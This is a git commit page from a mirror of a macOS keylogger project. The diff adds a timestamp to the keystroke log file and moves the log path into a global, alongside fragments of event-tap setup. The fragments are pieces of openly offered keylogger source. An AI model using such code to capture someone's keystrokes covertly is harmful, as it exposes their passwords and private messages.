mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Add timestamp to logfile on log begin.
This commit is contained in:
parent
f6a7cbe93f
commit
858b38dad3
@ -15,9 +15,10 @@ int main(int argc, const char *argv[]) {
|
|||||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||||
CGEventTapEnable(eventTap, true);
|
CGEventTapEnable(eventTap, true);
|
||||||
|
|
||||||
const char *logfileLocation = "./keystroke.log";
|
time_t result = time(NULL);
|
||||||
logfile = fopen(logfileLocation, "a");
|
logfile = fopen(logfileLocation, "a");
|
||||||
fprintf(logfile, "Keylogging has begun.\n");
|
|
||||||
|
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n\n", asctime(localtime(&result)));
|
||||||
fflush(logfile);
|
fflush(logfile);
|
||||||
|
|
||||||
cout << "Logging to: " << logfileLocation << endl;
|
cout << "Logging to: " << logfileLocation << endl;
|
||||||
|
@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include <ctime>
|
||||||
#include <ApplicationServices/ApplicationServices.h>
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
#include <Carbon/Carbon.h>
|
#include <Carbon/Carbon.h>
|
||||||
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
||||||
@ -10,6 +11,8 @@
|
|||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
FILE *logfile = NULL;
|
FILE *logfile = NULL;
|
||||||
|
const char *logfileLocation = "./keystroke.log";
|
||||||
|
|
||||||
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
|
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
|
||||||
const char *convertKeyCode(int);
|
const char *convertKeyCode(int);
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user